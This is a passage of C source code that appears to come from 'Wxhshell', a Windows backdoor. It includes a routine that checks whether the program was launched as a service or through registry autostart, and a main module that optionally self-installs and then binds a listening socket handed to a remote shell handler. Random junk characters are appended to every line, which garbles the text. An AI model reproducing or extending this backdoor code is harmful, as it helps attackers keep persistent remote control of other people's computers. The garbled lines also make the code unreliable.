ULONG InheritedFromUniqueProcessId; G&1bhi52
} PROCESS_BASIC_INFORMATION; "uIaKb
c};%VB
PROCNTQSIP NtQueryInformationProcess; Fc \]*
FE,mUpHIR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?jlz:Z4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E JuTv%Y8
<y^_&9
HANDLE hProcess; @/^mFqr2
PROCESS_BASIC_INFORMATION pbi; zN]%p>,)HB
jTt9;?)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0!lWxS0#=
if(NULL == hInst ) return 0; !Pnjr T
QOg >|"KL
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `m<O!I"A
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Zd,"/RH
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zN[&
iKf
457{9k
if (!NtQueryInformationProcess) return 0; 81s
}4
YT(Eh3ID
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C]5 kQ1Og
if(!hProcess) return 0; A7+ZY,
#*_!Xc9f
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^w~B]*A:"
pUqC88*j
CloseHandle(hProcess); ^ `Ozw^~
t&{;6MiE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \-;f<%+
if(hProcess==NULL) return 0; B^P&+,\[}
&*+$38XE^
HMODULE hMod; f?k0(rl
char procName[255]; h L [ eA
unsigned long cbNeeded; W>d)(
%ZWt 45A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z*mbhod
4l%W]'
CloseHandle(hProcess); Hh=fv~X
|> ]@w\]
if(strstr(procName,"services")) return 1; // 以服务启动 Wmcd{MOS
EC,`t*<
return 0; // 注册表启动 /ugyUpyg
} w($a'&d`0
TMPk)N1Ka
// 主模块 <Jhd%O
int StartWxhshell(LPSTR lpCmdLine) c5WMN.z
{ pl&nr7\
SOCKET wsl; Uz! 3){E
BOOL val=TRUE; Jk\-e`eE
int port=0; #d\&6'O
struct sockaddr_in door; S5 q1Mn
3_XLx{["'
if(wscfg.ws_autoins) Install(); s)qrlv5H
jmr
.gW
port=atoi(lpCmdLine); .UL2(0
t
sUu
if(port<=0) port=wscfg.ws_port; z6E =%-`
A3_p*n@
WSADATA data; s~ 8g
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <F0^+Pf/
EA6l11{Gk1
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o$.#A]Flb
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >{Hg+/
door.sin_family = AF_INET; %CiF;wJ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C-c'"FHq
door.sin_port = htons(port); P1LOj
{j>a_]dTVX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f- 9t
closesocket(wsl); 2n@`Og_0
return 1; [//i "Nm
} VrZfjpV
^*.$@M
if(listen(wsl,2) == INVALID_SOCKET) { Ju47} t%HB
closesocket(wsl); VM\R-[
return 1; "E2 0Y"[h
} Q+
V<&
Wxhshell(wsl); T@yQOD7
WSACleanup(); BkXv4|UE
xNOKa*
return 0; .i4aM;Qy
R~oJ-}iYX
} IXa~,a H71
*2a" 2o
// 以NT服务方式启动 I&La0g